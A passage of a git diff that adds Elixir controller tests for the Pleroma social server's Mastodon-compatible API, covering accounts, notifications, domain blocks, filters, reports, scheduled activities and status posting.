0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}] + |> Stream.zip(valid_params) + |> Enum.each(fn {ip, {attr, _}} -> + res = + conn + |> Map.put(:remote_ip, ip) + |> post("/api/v1/accounts", Map.delete(valid_params, attr)) + |> json_response(400) + + assert res == %{"error" => "Missing parameters"} + end) + end + + test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do + conn = + conn + |> put_req_header("authorization", "Bearer " <> "invalid-token") + + res = post(conn, "/api/v1/accounts", valid_params) + assert json_response(res, 403) == %{"error" => "Invalid credentials"} + end + end + + describe "GET /api/v1/accounts/:id/lists - account_lists" do + test "returns lists to which the account belongs", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + assert {:ok, %Pleroma.List{} = list} = Pleroma.List.create("Test List", user) + {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) + + res = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/#{other_user.id}/lists") + |> json_response(200) + + assert res == [%{"id" => to_string(list.id), "title" => "Test List"}] + end + end + + describe "verify_credentials" do + test "verify_credentials", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/verify_credentials") + + response = json_response(conn, 200) + + assert %{"id" => id, "source" => %{"privacy" => "public"}} = response + assert response["pleroma"]["chat_token"] + assert id == to_string(user.id) + end + + test "verify_credentials default scope unlisted", %{conn: conn} do + user = insert(:user, %{info: %User.Info{default_scope: "unlisted"}}) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/verify_credentials") + + assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200) + assert id == to_string(user.id) + end + + test "locked accounts", %{conn: conn} do + user = insert(:user, %{info: %User.Info{default_scope: "private"}}) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/verify_credentials") + + assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200) + assert id == to_string(user.id) + end + end + + describe "user relationships" do + test "returns the relationships for the current user", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + {:ok, user} = User.follow(user, other_user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/relationships", %{"id" => [other_user.id]}) + + assert [relationship] = json_response(conn, 200) + + assert to_string(other_user.id) == relationship["id"] + end + + test "returns an empty list on a bad request", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/relationships", %{}) + + assert [] = json_response(conn, 200) + end + end +end diff --git a/test/web/mastodon_api/controllers/conversation_controller_test.exs b/test/web/mastodon_api/controllers/conversation_controller_test.exs new file mode 100644 index 000000000..7117fc76a --- /dev/null +++ b/test/web/mastodon_api/controllers/conversation_controller_test.exs @@ -0,0 +1,75 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "Conversations", %{conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + user_three = insert(:user) + + {:ok, user_two} = User.follow(user_two, user_one) + + {:ok, direct} = + CommonAPI.post(user_one, %{ + "status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!", + "visibility" => "direct" + }) + + {:ok, _follower_only} = + CommonAPI.post(user_one, %{ + "status" => "Hi @#{user_two.nickname}!", + "visibility" => "private" + }) + + res_conn = + conn + |> assign(:user, user_one) + |> get("/api/v1/conversations") + + assert response = json_response(res_conn, 200) + + assert [ + %{ + "id" => res_id, + "accounts" => res_accounts, + "last_status" => res_last_status, + "unread" => unread + } + ] = response + + account_ids = Enum.map(res_accounts, & &1["id"]) + assert length(res_accounts) == 2 + assert user_two.id in account_ids + assert user_three.id in account_ids + assert is_binary(res_id) + assert unread == true + assert res_last_status["id"] == direct.id + + # Apparently undocumented API endpoint + res_conn = + conn + |> assign(:user, user_one) + |> post("/api/v1/conversations/#{res_id}/read") + + assert response = json_response(res_conn, 200) + assert length(response["accounts"]) == 2 + assert response["last_status"]["id"] == direct.id + assert response["unread"] == false + + # (vanilla) Mastodon frontend behaviour + res_conn = + conn + |> assign(:user, user_one) + |> get("/api/v1/statuses/#{res_last_status["id"]}/context") + + assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200) + end +end diff --git a/test/web/mastodon_api/controllers/domain_block_controller_test.exs b/test/web/mastodon_api/controllers/domain_block_controller_test.exs new file mode 100644 index 000000000..25a279cdc --- /dev/null +++ b/test/web/mastodon_api/controllers/domain_block_controller_test.exs @@ -0,0 +1,51 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + + import Pleroma.Factory + + test "blocking / unblocking a domain", %{conn: conn} do + user = insert(:user) + other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) + + assert %{} = json_response(conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + assert User.blocks?(user, other_user) + + conn = + build_conn() + |> assign(:user, user) + |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) + + assert %{} = json_response(conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + refute User.blocks?(user, other_user) + end + + test "getting a list of domain blocks", %{conn: conn} do + user = insert(:user) + + {:ok, user} = User.block_domain(user, "bad.site") + {:ok, user} = User.block_domain(user, "even.worse.site") + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/domain_blocks") + + domain_blocks = json_response(conn, 200) + + assert "bad.site" in domain_blocks + assert "even.worse.site" in domain_blocks + end +end diff --git a/test/web/mastodon_api/controllers/filter_controller_test.exs b/test/web/mastodon_api/controllers/filter_controller_test.exs new file mode 100644 index 000000000..5d5b56c8e --- /dev/null +++ b/test/web/mastodon_api/controllers/filter_controller_test.exs @@ -0,0 +1,137 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Web.MastodonAPI.FilterView + + import Pleroma.Factory + + test "creating a filter", %{conn: conn} do + user = insert(:user) + + filter = %Pleroma.Filter{ + phrase: "knights", + context: ["home"] + } + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context}) + + assert response = json_response(conn, 200) + assert response["phrase"] == filter.phrase + assert response["context"] == filter.context + assert response["irreversible"] == false + assert response["id"] != nil + assert response["id"] != "" + end + + test "fetching a list of filters", %{conn: conn} do + user = insert(:user) + + query_one = %Pleroma.Filter{ + user_id: user.id, + filter_id: 1, + phrase: "knights", + context: ["home"] + } + + query_two = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "who", + context: ["home"] + } + + {:ok, filter_one} = Pleroma.Filter.create(query_one) + {:ok, filter_two} = Pleroma.Filter.create(query_two) + + response = + conn + |> assign(:user, user) + |> get("/api/v1/filters") + |> json_response(200) + + assert response == + render_json( + FilterView, + "filters.json", + filters: [filter_two, filter_one] + ) + end + + test "get a filter", %{conn: conn} do + user = insert(:user) + + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "knight", + context: ["home"] + } + + {:ok, filter} = Pleroma.Filter.create(query) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/filters/#{filter.filter_id}") + + assert _response = json_response(conn, 200) + end + + test "update a filter", %{conn: conn} do + user = insert(:user) + + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "knight", + context: ["home"] + } + + {:ok, _filter} = Pleroma.Filter.create(query) + + new = %Pleroma.Filter{ + phrase: "nii", + context: ["home"] + } + + conn = + conn + |> assign(:user, user) + |> put("/api/v1/filters/#{query.filter_id}", %{ + phrase: new.phrase, + context: new.context + }) + + assert response = json_response(conn, 200) + assert response["phrase"] == new.phrase + assert response["context"] == new.context + end + + test "delete a filter", %{conn: conn} do + user = insert(:user) + + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "knight", + context: ["home"] + } + + {:ok, filter} = Pleroma.Filter.create(query) + + conn = + conn + |> assign(:user, user) + |> delete("/api/v1/filters/#{filter.filter_id}") + + assert response = json_response(conn, 200) + assert response == %{} + end +end diff --git a/test/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/web/mastodon_api/controllers/follow_request_controller_test.exs new file mode 100644 index 000000000..4bf292df5 --- /dev/null +++ b/test/web/mastodon_api/controllers/follow_request_controller_test.exs @@ -0,0 +1,81 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + + import Pleroma.Factory + + describe "locked accounts" do + test "/api/v1/follow_requests works" do + user = insert(:user, %{info: %User.Info{locked: true}}) + other_user = insert(:user) + + {:ok, _activity} = ActivityPub.follow(other_user, user) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == false + + conn = + build_conn() + |> assign(:user, user) + |> get("/api/v1/follow_requests") + + assert [relationship] = json_response(conn, 200) + assert to_string(other_user.id) == relationship["id"] + end + + test "/api/v1/follow_requests/:id/authorize works" do + user = insert(:user, %{info: %User.Info{locked: true}}) + other_user = insert(:user) + + {:ok, _activity} = ActivityPub.follow(other_user, user) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == false + + conn = + build_conn() + |> assign(:user, user) + |> post("/api/v1/follow_requests/#{other_user.id}/authorize") + + assert relationship = json_response(conn, 200) + assert to_string(other_user.id) == relationship["id"] + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == true + end + + test "/api/v1/follow_requests/:id/reject works" do + user = insert(:user, %{info: %User.Info{locked: true}}) + other_user = insert(:user) + + {:ok, _activity} = ActivityPub.follow(other_user, user) + + user = User.get_cached_by_id(user.id) + + conn = + build_conn() + |> assign(:user, user) + |> post("/api/v1/follow_requests/#{other_user.id}/reject") + + assert relationship = json_response(conn, 200) + assert to_string(other_user.id) == relationship["id"] + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == false + end + end +end diff --git a/test/web/mastodon_api/controllers/notification_controller_test.exs b/test/web/mastodon_api/controllers/notification_controller_test.exs new file mode 100644 index 000000000..e4137e92c --- /dev/null +++ b/test/web/mastodon_api/controllers/notification_controller_test.exs @@ -0,0 +1,299 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "list of notifications", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + {:ok, [_notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/notifications") + + expected_response = + "hi @#{user.nickname}" + + assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200) + assert response == expected_response + end + + test "getting a single notification", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/notifications/#{notification.id}") + + expected_response = + "hi @#{user.nickname}" + + assert %{"status" => %{"content" => response}} = json_response(conn, 200) + assert response == expected_response + end + + test "dismissing a single notification", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/notifications/dismiss", %{"id" => notification.id}) + + assert %{} = json_response(conn, 200) + end + + test "clearing all notifications", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + {:ok, [_notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/notifications/clear") + + assert %{} = json_response(conn, 200) + + conn = + build_conn() + |> assign(:user, user) + |> get("/api/v1/notifications") + + assert all = json_response(conn, 200) + assert all == [] + end + + test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + notification1_id = get_notification_id_by_activity(activity1) + notification2_id = get_notification_id_by_activity(activity2) + notification3_id = get_notification_id_by_activity(activity3) + notification4_id = get_notification_id_by_activity(activity4) + + conn = assign(conn, :user, user) + + # min_id + result = + conn + |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") + |> json_response(:ok) + + assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result + + # since_id + result = + conn + |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") + |> json_response(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + + # max_id + result = + conn + |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") + |> json_response(:ok) + + assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result + end + + test "filters notifications using exclude_types", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"}) + {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"}) + {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user) + {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user) + {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) + + mention_notification_id = get_notification_id_by_activity(mention_activity) + favorite_notification_id = get_notification_id_by_activity(favorite_activity) + reblog_notification_id = get_notification_id_by_activity(reblog_activity) + follow_notification_id = get_notification_id_by_activity(follow_activity) + + conn = assign(conn, :user, user) + + conn_res = + get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]}) + + assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200) + + conn_res = + get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]}) + + assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200) + + conn_res = + get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]}) + + assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200) + + conn_res = + get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]}) + + assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200) + end + + test "destroy multiple", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) + {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) + + notification1_id = get_notification_id_by_activity(activity1) + notification2_id = get_notification_id_by_activity(activity2) + notification3_id = get_notification_id_by_activity(activity3) + notification4_id = get_notification_id_by_activity(activity4) + + conn = assign(conn, :user, user) + + result = + conn + |> get("/api/v1/notifications") + |> json_response(:ok) + + assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result + + conn2 = + conn + |> assign(:user, other_user) + + result = + conn2 + |> get("/api/v1/notifications") + |> json_response(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + + conn_destroy = + conn + |> delete("/api/v1/notifications/destroy_multiple", %{ + "ids" => [notification1_id, notification2_id] + }) + + assert json_response(conn_destroy, 200) == %{} + + result = + conn2 + |> get("/api/v1/notifications") + |> json_response(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + end + + test "doesn't see notifications after muting user with notifications", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) + + conn = assign(conn, :user, user) + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response(conn, 200)) == 1 + + {:ok, user} = User.mute(user, user2) + + conn = assign(build_conn(), :user, user) + conn = get(conn, "/api/v1/notifications") + + assert json_response(conn, 200) == [] + end + + test "see notifications after muting user without notifications", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) + + conn = assign(conn, :user, user) + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response(conn, 200)) == 1 + + {:ok, user} = User.mute(user, user2, false) + + conn = assign(build_conn(), :user, user) + conn = get(conn, "/api/v1/notifications") + + assert length(json_response(conn, 200)) == 1 + end + + test "see notifications after muting user with notifications and with_muted parameter", %{ + conn: conn + } do + user = insert(:user) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) + + conn = assign(conn, :user, user) + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response(conn, 200)) == 1 + + {:ok, user} = User.mute(user, user2) + + conn = assign(build_conn(), :user, user) + conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"}) + + assert length(json_response(conn, 200)) == 1 + end + + defp get_notification_id_by_activity(%{id: id}) do + Notification + |> Repo.get_by(activity_id: id) + |> Map.get(:id) + |> to_string() + end +end diff --git a/test/web/mastodon_api/controllers/report_controller_test.exs b/test/web/mastodon_api/controllers/report_controller_test.exs new file mode 100644 index 000000000..979ca48f3 --- /dev/null +++ b/test/web/mastodon_api/controllers/report_controller_test.exs @@ -0,0 +1,88 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ReportControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup do + reporter = insert(:user) + target_user = insert(:user) + + {:ok, activity} = CommonAPI.post(target_user, %{"status" => "foobar"}) + + [reporter: reporter, target_user: target_user, activity: activity] + end + + test "submit a basic report", %{conn: conn, reporter: reporter, target_user: target_user} do + assert %{"action_taken" => false, "id" => _} = + conn + |> assign(:user, reporter) + |> post("/api/v1/reports", %{"account_id" => target_user.id}) + |> json_response(200) + end + + test "submit a report with statuses and comment", %{ + conn: conn, + reporter: reporter, + target_user: target_user, + activity: activity + } do + assert %{"action_taken" => false, "id" => _} = + conn + |> assign(:user, reporter) + |> post("/api/v1/reports", %{ + "account_id" => target_user.id, + "status_ids" => [activity.id], + "comment" => "bad status!", + "forward" => "false" + }) + |> json_response(200) + end + + test "account_id is required", %{ + conn: conn, + reporter: reporter, + activity: activity + } do + assert %{"error" => "Valid `account_id` required"} = + conn + |> assign(:user, reporter) + |> post("/api/v1/reports", %{"status_ids" => [activity.id]}) + |> json_response(400) + end + + test "comment must be up to the size specified in the config", %{ + conn: conn, + reporter: reporter, + target_user: target_user + } do + max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000) + comment = String.pad_trailing("a", max_size + 1, "a") + + error = %{"error" => "Comment must be up to #{max_size} characters"} + + assert ^error = + conn + |> assign(:user, reporter) + |> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment}) + |> json_response(400) + end + + test "returns error when account is not exist", %{ + conn: conn, + reporter: reporter, + activity: activity + } do + conn = + conn + |> assign(:user, reporter) + |> post("/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"}) + + assert json_response(conn, 400) == %{"error" => "Account not found"} + end +end diff --git a/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs new file mode 100644 index 000000000..9ad6a4fa7 --- /dev/null +++ b/test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs @@ -0,0 +1,113 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ScheduledActivityControllerTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Repo + alias Pleroma.ScheduledActivity + + import Pleroma.Factory + + test "shows scheduled activities", %{conn: conn} do + user = insert(:user) + scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string() + scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string() + scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string() + scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string() + + conn = + conn + |> assign(:user, user) + + # min_id + conn_res = + conn + |> get("/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}") + + result = json_response(conn_res, 200) + assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result + + # since_id + conn_res = + conn + |> get("/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}") + + result = json_response(conn_res, 200) + assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result + + # max_id + conn_res = + conn + |> get("/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}") + + result = json_response(conn_res, 200) + assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result + end + + test "shows a scheduled activity", %{conn: conn} do + user = insert(:user) + scheduled_activity = insert(:scheduled_activity, user: user) + + res_conn = + conn + |> assign(:user, user) + |> get("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + + assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200) + assert scheduled_activity_id == scheduled_activity.id |> to_string() + + res_conn = + conn + |> assign(:user, user) + |> get("/api/v1/scheduled_statuses/404") + + assert %{"error" => "Record not found"} = json_response(res_conn, 404) + end + + test "updates a scheduled activity", %{conn: conn} do + user = insert(:user) + scheduled_activity = insert(:scheduled_activity, user: user) + + new_scheduled_at = + NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) + + res_conn = + conn + |> assign(:user, user) + |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{ + scheduled_at: new_scheduled_at + }) + + assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200) + assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at) + + res_conn = + conn + |> assign(:user, user) + |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at}) + + assert %{"error" => "Record not found"} = json_response(res_conn, 404) + end + + test "deletes a scheduled activity", %{conn: conn} do + user = insert(:user) + scheduled_activity = insert(:scheduled_activity, user: user) + + res_conn = + conn + |> assign(:user, user) + |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + + assert %{} = json_response(res_conn, 200) + assert nil == Repo.get(ScheduledActivity, scheduled_activity.id) + + res_conn = + conn + |> assign(:user, user) + |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + + assert %{"error" => "Record not found"} = json_response(res_conn, 404) + end +end diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs new file mode 100644 index 000000000..b194feae6 --- /dev/null +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -0,0 +1,1210 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Activity + alias Pleroma.ActivityExpiration + alias Pleroma.Config + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.ScheduledActivity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "posting statuses" do + setup do + user = insert(:user) + + conn = + build_conn() + |> assign(:user, user) + + [conn: conn] + end + + test "posting a status", %{conn: conn} do + idempotency_key = "Pikachu rocks!" + + conn_one = + conn + |> put_req_header("idempotency-key", idempotency_key) + |> post("/api/v1/statuses", %{ + "status" => "cofe", + "spoiler_text" => "2hu", + "sensitive" => "false" + }) + + {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key) + # Six hours + assert ttl > :timer.seconds(6 * 60 * 60 - 1) + + assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} = + json_response(conn_one, 200) + + assert Activity.get_by_id(id) + + conn_two = + conn + |> put_req_header("idempotency-key", idempotency_key) + |> post("/api/v1/statuses", %{ + "status" => "cofe", + "spoiler_text" => "2hu", + "sensitive" => "false" + }) + + assert %{"id" => second_id} = json_response(conn_two, 200) + assert id == second_id + + conn_three = + conn + |> post("/api/v1/statuses", %{ + "status" => "cofe", + "spoiler_text" => "2hu", + "sensitive" => "false" + }) + + assert %{"id" => third_id} = json_response(conn_three, 200) + refute id == third_id + + # An activity that will expire: + # 2 hours + expires_in = 120 * 60 + + conn_four = + conn + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + + assert fourth_response = %{"id" => fourth_id} = json_response(conn_four, 200) + assert activity = Activity.get_by_id(fourth_id) + assert expiration = ActivityExpiration.get_by_activity_id(fourth_id) + + estimated_expires_at = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(expires_in) + |> NaiveDateTime.truncate(:second) + + # This assert will fail if the test takes longer than a minute. I sure hope it never does: + assert abs(NaiveDateTime.diff(expiration.scheduled_at, estimated_expires_at, :second)) < 60 + + assert fourth_response["pleroma"]["expires_at"] == + NaiveDateTime.to_iso8601(expiration.scheduled_at) + end + + test "posting an undefined status with an attachment", %{conn: conn} do + user = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/statuses", %{ + "media_ids" => [to_string(upload.id)] + }) + + assert json_response(conn, 200) + end + + test "replying to a status", %{conn: conn} do + user = insert(:user) + {:ok, replied_to} = CommonAPI.post(user, %{"status" => "cofe"}) + + conn = + conn + |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) + + assert %{"content" => "xD", "id" => id} = json_response(conn, 200) + + activity = Activity.get_by_id(id) + + assert activity.data["context"] == replied_to.data["context"] + assert Activity.get_in_reply_to_activity(activity).id == replied_to.id + end + + test "replying to a direct message with visibility other than direct", %{conn: conn} do + user = insert(:user) + {:ok, replied_to} = CommonAPI.post(user, %{"status" => "suya..", "visibility" => "direct"}) + + Enum.each(["public", "private", "unlisted"], fn visibility -> + conn = + conn + |> post("/api/v1/statuses", %{ + "status" => "@#{user.nickname} hey", + "in_reply_to_id" => replied_to.id, + "visibility" => visibility + }) + + assert json_response(conn, 422) == %{"error" => "The message visibility must be direct"} + end) + end + + test "posting a status with an invalid in_reply_to_id", %{conn: conn} do + conn = + conn + |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""}) + + assert %{"content" => "xD", "id" => id} = json_response(conn, 200) + assert Activity.get_by_id(id) + end + + test "posting a sensitive status", %{conn: conn} do + conn = + conn + |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true}) + + assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200) + assert Activity.get_by_id(id) + end + + test "posting a fake status", %{conn: conn} do + real_conn = + conn + |> post("/api/v1/statuses", %{ + "status" => + "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it" + }) + + real_status = json_response(real_conn, 200) + + assert real_status + assert Object.get_by_ap_id(real_status["uri"]) + + real_status = + real_status + |> Map.put("id", nil) + |> Map.put("url", nil) + |> Map.put("uri", nil) + |> Map.put("created_at", nil) + |> Kernel.put_in(["pleroma", "conversation_id"], nil) + + fake_conn = + conn + |> post("/api/v1/statuses", %{ + "status" => + "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it", + "preview" => true + }) + + fake_status = json_response(fake_conn, 200) + + assert fake_status + refute Object.get_by_ap_id(fake_status["uri"]) + + fake_status = + fake_status + |> Map.put("id", nil) + |> Map.put("url", nil) + |> Map.put("uri", nil) + |> Map.put("created_at", nil) + |> 